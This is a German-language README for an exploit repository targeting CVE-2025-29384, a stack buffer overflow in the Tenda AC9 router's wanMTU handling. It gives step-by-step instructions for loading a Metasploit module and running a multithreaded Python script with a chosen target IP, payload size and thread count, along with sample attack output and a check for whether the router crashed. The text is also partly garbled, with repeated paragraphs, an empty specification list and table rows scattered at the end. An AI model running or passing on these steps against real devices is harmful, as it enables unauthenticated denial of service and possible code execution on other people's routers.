
POC für CVE-2025-29384
Dieses Repository enthält einen erweiterten Proof-of-Concept-Exploit (PoC) für CVE-2025-29384, eine kritische Stack-basierte Pufferüberlauf-Schwachstelle, die im Tenda AC9-Router mit der Firmware-Version V15.03.05.14_multi entdeckt wurde. Diese Schwachstelle ermöglicht es nicht authentifizierten Remote-Angreifern, den Webserver des Routers zum Absturz zu bringen (Denial-of-Service, DoS) und potenziell beliebigen Code auszuführen (Remote Code Execution, RCE).
Der Zweck dieses Projekts ist es, Fähigkeiten in der Exploit-Entwicklung zu demonstrieren, einen Beitrag zur Cybersicherheits-Community zu leisten und eine lehrreiche Demonstration für akademische Bewertungen (z. B. Cybersicherheits-Stipendien) bereitzustellen. Dieses Repository enthält einen erweiterten Proof-of-Concept-Exploit (PoC) für CVE-2025-29384, eine kritische Stack-basierte Pufferüberlauf-Schwachstelle, die im Tenda AC9-Router mit der Firmware-Version V15.03.05.14_multi entdeckt wurde. Diese Schwachstelle ermöglicht es nicht authentifizierten Remote-Angreifern, den Webserver des Routers zum Absturz zu bringen (Denial-of-Service, DoS) und potenziell beliebigen Code auszuführen (Remote Code Execution, RCE).
Der Zweck dieses Projekts ist es, Fähigkeiten in der Exploit-Entwicklung zu demonstrieren, einen Beitrag zur Cybersicherheits-Community zu leisten und eine lehrreiche Demonstration für akademische Bewertungen, wie z. B. Cybersicherheits-Stipendien, bereitzustellen.
CVE-2025-29384 betrifft das Webverwaltungsinterface des Tenda AC9-Routers, insbesondere den Endpunkt:
/goform/AdvSetMacMtuWan
Die Schwachstelle existiert aufgrund fehlerhafter Grenzprüfungen des Parameters wanMTU, der über eine HTTP-POST-Anfrage verarbeitet wird. Die Eingabe wird ohne Validierung in einen Stack-Puffer fester Größe kopiert, was zu einem klassischen Stack-basierten Pufferüberlauf führt.
Die verwundbare Funktion (hypothetische Rekonstruktion) folgt dieser Struktur:
void process_mtu(char *input) {
char buffer[256]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process MTU value...
}
Ein Angreifer, der eine überdimensionierte Nutzlast sendet (z. B. 1024+ Bytes), überschreibt angrenzenden Speicher, einschließlich der Rücksprungadresse der Funktion, was möglicherweise zu Codeausführung führt.
Der Tenda AC9 ist ein Dualband-WLAN-Router mit den folgenden Spezifikationen:
Dieses Repository enthält außerdem ein Ruby-basiertes Metasploit-Modul für CVE-2025-29384. Das Modul lässt sich nahtlos in das Metasploit-Framework integrieren und ermöglicht es Ihnen, die Schwachstelle über msfconsole auszunutzen.
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc
Lokalisieren Sie die Ruby-Moduldatei und kopieren Sie sie in das Exploits-Verzeichnis von Metasploit:
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
Hinweis: Falls das Verzeichnis nicht existiert, erstellen Sie es:
mkdir -p ~/.msf4/modules/exploits/linux/http/
Starten Sie das Metasploit-Framework:
msfconsole
Laden Sie das Modul:
use exploit/linux/http/tenda_ac9_stack_overflow
Legen Sie die Ziel-IP-Adresse fest:
set RHOSTS <target_ip>
Legen Sie die Nutzlastgröße fest (optional, Standard ist 1024):
set PAYLOAD_SIZE 2048
Führen Sie den Exploit aus:
run
[*] Targeting Tenda AC9 at 192.168.0.1:80...
[*] Sending payload of size 2048...
[+] Payload sent successfully!
[*] Response: HTTP/1.1 200 OK...
Erfolg: Der Webserver des Routers stürzt ab und verursacht einen Denial-of-Service-Zustand (DoS).
Fehlschlag: Der Router bleibt betriebsbereit, was darauf hindeutet, dass er möglicherweise nicht verwundbar ist oder eine gepatchte Firmware-Version ausführt.
Dieser PoC ist ein Python-basierter Exploit, der eine überdimensionierte Eingabe an /goform/AdvSetMacMtuWan sendet, einen Pufferüberlauf auslöst, um den Webserver zum Absturz zu bringen, und das Potenzial für RCE aufzeigt.
Multithreading – Startet mehrere gleichzeitige Exploit-Versuche für mehr Zuverlässigkeit.
Dynamische Nutzlasten – Erzeugt zufällige base64-codierte Angriffszeichenfolgen.
Protokollierung – Verwendet das Protokollierungsmodul von Python für strukturierte Fehlersuche.
Anpassbare Parameter – Passt Ziel-IP, Nutzlastgröße und Thread-Anzahl an.
Dieser PoC ist ein Python-basierter Exploit, der eine überdimensionierte Eingabe an /goform/AdvSetMacMtuWan sendet und einen Pufferüberlauf auslöst, um den Webserver zum Absturz zu bringen.
python poc.py --target <router_ip> --size 2048 --threads 10
| Argument | Beschreibung |
|---|---|
--target | Router-IP (Standard: ) |
[+] CVE-2025-29384 Exploit Engine
[INFO] Target: 192.168.0.1
[INFO] Sending payload (2048 bytes)...
[WARNING] Target timeout - possible crash!
[INFO] Exploit sequence completed.
Erfolg: Die Weboberfläche des Routers reagiert nicht mehr (DoS-Zustand).
Fehlschlag: Der Router reagiert weiterhin (nicht verwundbar oder falsche Firmware).
Um zu bestätigen, dass der Exploit den Router erfolgreich zum Absturz bringt, versuchen Sie, die Weboberfläche neu zu laden. Wenn sie nicht mehr reagiert, war der Angriff erfolgreich. Für weitere Analysen prüfen Sie die Netzwerkprotokolle auf getrennte Verbindungen oder verwenden Sie ping, um die Reaktionsfähigkeit des Geräts zu überprüfen.
Dieses Projekt dient ausschließlich Bildungs- und ethischen Hacking-Zwecken. Die unbefugte Nutzung dieses Exploits ist illegal. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diesen Code verursacht werden.
Mit ❤️ entwickelt von Otsmane Ahmed Dieses Projekt dient ausschließlich Bildungs- und ethischen Hacking-Zwecken. Die unbefugte Nutzung dieses Exploits ist illegal. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diesen Code verursacht werden.
Dieses Projekt wird unter der MIT-Lizenz veröffentlicht.
| Metrik | Wert |
|---|
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Auswirkung auf die Vertraulichkeit | Hoch |
| Auswirkung auf die Integrität | Hoch |
| Auswirkung auf die Verfügbarkeit | Hoch |
192.168.0.1--size | Nutzlastgröße in Bytes (Standard: 1024) |
--threads | Anzahl der gleichzeitigen Threads (Standard: 5) |